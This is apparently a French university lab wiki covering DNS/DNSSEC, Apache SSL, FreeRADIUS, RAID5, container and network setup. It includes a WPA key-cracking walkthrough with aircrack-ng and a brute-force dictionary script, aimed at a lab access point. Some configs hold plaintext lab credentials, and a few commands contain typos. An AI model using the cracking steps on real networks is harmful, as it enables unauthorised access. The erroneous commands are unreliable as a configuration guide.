Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48864</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48864"/>
				<updated>2018-12-17T16:05:16Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Serveur Freeradius */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
